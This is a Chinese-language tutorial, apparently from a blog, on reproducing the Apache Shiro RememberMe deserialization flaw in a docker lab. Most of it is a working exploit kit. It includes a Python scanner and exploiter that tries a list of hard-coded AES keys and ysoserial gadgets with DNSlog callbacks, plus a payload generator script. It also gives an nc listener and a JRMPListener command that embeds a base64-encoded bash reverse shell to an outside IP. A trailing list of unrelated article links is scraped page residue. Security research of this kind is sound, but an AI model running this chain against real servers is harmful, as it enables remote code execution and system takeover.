Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
工作原理
Shiro的记住用户会话功能
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞原理
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
漏洞复现

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问 http://127.0.0.1:8081即可

漏洞扫描:shiro_scan.py

#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AESJAR_FILE = 'ysoserial.jar'CipherKeys = ["kPH+bIxk5D2deZiIxcaaaA==","4AvVhmFLUs0KTA3Kprsdag==","3AvVhmFLUs0KTA3Kprsdag==","2AvVhdsgUs0FSA3SDFAdag==","6ZmI6I2j5Y+R5aSn5ZOlAA==","wGiHplamyXlVB11UXWol8g==","cmVtZW1iZXJNZQAAAAAAAA==","Z3VucwAAAAAAAAAAAAAAAA==","ZnJlc2h6Y24xMjM0NTY3OA==","L7RioUULEFhRyxM7a2R/Yg==","RVZBTk5JR0hUTFlfV0FPVQ==","fCq+/xW488hMTCD+cmJ3aQ==","WkhBTkdYSUFPSEVJX0NBVA==","1QWLxg+NYmxraMoxAXu/Iw==","WcfHGU25gNnTxTlmJMeSpw==","a2VlcE9uR29pbmdBbmRGaQ==","bWluZS1hc3NldC1rZXk6QQ==","5aaC5qKm5oqA5pyvAAAAAA==",#"ZWvohmPdUsAWT3=KpPqda","r0e3c16IdVkouZgk1TKVMg==","ZUdsaGJuSmxibVI2ZHc9PQ==","U3ByaW5nQmxhZGUAAAAAAA==","LEGEND-CAMPUS-CIPHERKEY=="#"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",]gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]session = requests.Session()
def genpayload(params, CipherKey,fp):gadget,command = paramsif not os.path.exists(fp):raise Exception('jar file not found')popen = subprocess.Popen(['java','-jar',fp,gadget,command],stdout=subprocess.PIPE)BS = AES.block_size#print(command)pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()#key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(CipherKey), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextdef getdomain():try :ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).textexcept Exception as e:print("getdomain error:" + str(e))ret = "error"passreturn retdef getrecord():try :ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text#print(ret)except Exception as e:print("getrecord error:" + str(e))ret = "error"passreturn retdef check(url):if '://' not in url:target = 'https://%s' % url if ':443' in url else 'http://%s' % urlelse:target = urlprint("checking url:" + url)domain = getdnshost()if domain:reversehost = "http://" + domainfor CipherKey in CipherKeys:ret = {"vul":False,"CipherKey":"","url":target}try:print("try CipherKey :" +CipherKey)payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)print("generator payload done.")r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)print("send payload ok.")for i in range(1,5):print("checking.....")time.sleep(2)temp = getrecord()if domain in temp:ret["vul"] = Trueret["CipherKey"] = CipherKeybreakexcept Exception as e:print(str(e))passif ret["vul"]:breakelse:print("get dns host error")return retdef exploit(url,gadget,params,CipherKey):if '://' not in url:target = 'https://%s' % url if ':443' in url else 'http://%s' % urlelse:target = urltry:payload = genpayload((gadget, params),CipherKey,JAR_FILE)r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)print(r.text)except Exception as e:print("exploit error:" + str(e))passdef getdnshost():reversehost = ""try :domain = getdomain()if domain=="error":print("getdomain error")else:#reversehost = "http://" +domainreversehost = domain#print("got reversehost : " + reversehost)except:passreturn reversehostdef detector(url,CipherKey,command):result = []if '://' not in url:target = 'https://%s' % url if ':443' in url else 'http://%s' % urlelse:target = urltry:for g in gadgets:g = g.strip()domain = getdnshost()if domain:if g == "JRMPClient":param = "%s:80" % domainelse:param = command.replace("{dnshost}",domain)payload = genpayload((g, param),CipherKey,JAR_FILE)print(g + " testing.....")r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)#print(r.read())for i in range(1,5):#print("checking.....")time.sleep(2)temp = getrecord()if domain in temp:ret = g#ret["CipherKey"] = CipherKeyresult.append(ret)print("found gadget:\t" + g)breakelse:print("get dns host error")#break#print(r.text)except Exception as e:print("detector error:" + str(e))passreturn resultdef parser_error(errmsg):print("Usage: python " + sys.argv[0] + " [Options] use -h for help")sys.exit()def parse_args():# parse the argumentsparser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")parser.error = parser_errorparser._optionals.title = "OPTIONS"parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)return parser.parse_args()if __name__ == '__main__':args = parse_args()url = args.urltype = args.typecommand = args.paramskey = args.keygadget = args.gadgetif type=="1":r = check(url)print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))elif type=="2":exploit(url,gadget,command,key)print("exploit done.")elif type=="3":r = detector(url,key,command)if r :print("found gadget:\n")print(r)else:print("invalid type")


根据脚本里面的key进行扫描,并返回key

利用漏洞获取shell

使用jackson编码 http://www.jackson-t.ca/runtime-exec-payloads.html

nc监听反弹shell的端口

nc -lvp 1234

使用ysoserial.jar的JRMP监听(本机或者vps上监听)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

生成payload的exp:shiro_exp.py

# -*- coding: utf-8 -*-
import uuid
import base64
import subprocess
import sys
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()# 密钥使用检测成功的密钥key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

burp请求

成功获取shell

shiro反序列化漏洞复现相关推荐

  1. vulhub复现之shiro反序列化漏洞复现

    目录 什么是shiro? 什么是安全框架? 反序列化与序列化 shiro反序列化漏洞 怎么判断是否存在反序列化漏洞? 什么是shiro? shiro是功能强大且容易使用的java安全框架.shiro可 ...

  2. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  3. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  4. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

  5. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  6. Shiro反序列化漏洞利用笔记

    Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...

  7. 经典的Shiro反序列化漏洞分析

    更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...

  8. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  9. 实战渗透-Shiro反序列化漏洞实例

    0x01.前言 这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点.对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远 ...

最新文章

  1. 如何链接两个名字一样动态库
  2. 重新定义Wi-Fi功能,Wi-Fi 6为什么要分两步?
  3. ADRV902X 启动流程 和 校准 注意事项
  4. SQLite学习手册(临时文件)
  5. Zuul使用正则表达式指定路由规则
  6. 快速搞懂ThreadLocal实现原理
  7. MySQL 添加列,修改列,删除列 的SQL写法
  8. 宝马无法gps定位_2.0T+后驱,豪华品牌论运动还得看它,带你看宝马3系
  9. Chrome浏览器快速获取静态控件的XPATH
  10. 《PHP精粹:编写高效PHP代码》——2.7节设计数据库
  11. 【论文笔记】Spatial Pyramid Pooling in Deep Convolutional Networks for Visual Recognition
  12. 微服务下flask和celery的通信
  13. nginx工作原理:
  14. 软件测试面试题目—接口测试面试题,梦寐以求的答案来了
  15. ubntu系统克隆到其他计算机的方法
  16. 实现一个简易的教师管理系统(一)
  17. 根据pix飞控log文件和photo文件夹建立pos文件,提取pos数据小程序
  18. python分析 【都挺好】小说任务关系
  19. 一名Java大佬跳槽之旅,离开京东,14面面试经验和收获
  20. 003 Rust 网络编程,使用 IpAddr

热门文章

  1. 学生党福利:毕业论文答辩课堂PPT模板
  2. 002 产品的定义—— 产品笔记 之《谷歌和亚马逊如何做产品》(Shipping Greatness)
  3. lol最克制诺手的英雄_LOL5大最克制诺克的英雄 !第一名让所有小学生之手颤抖!...
  4. C语言零基础项目:2D 赛车游戏,详细思路+源码分享
  5. DVD转换MPEG-4三部曲
  6. 银科首款5G手机,不只是畅快那么简单!
  7. 微风轻抚月,此去一身空
  8. 对计算机财务管理的理解,计算机财务管理实习报告.docx
  9. Caused by: org.apache.ibatis.ognl.TokenMgrError: Lexical error at line 1, column 43. Encountered: <
  10. 微型计算机原理与接口技术 第三版(张荣标)答案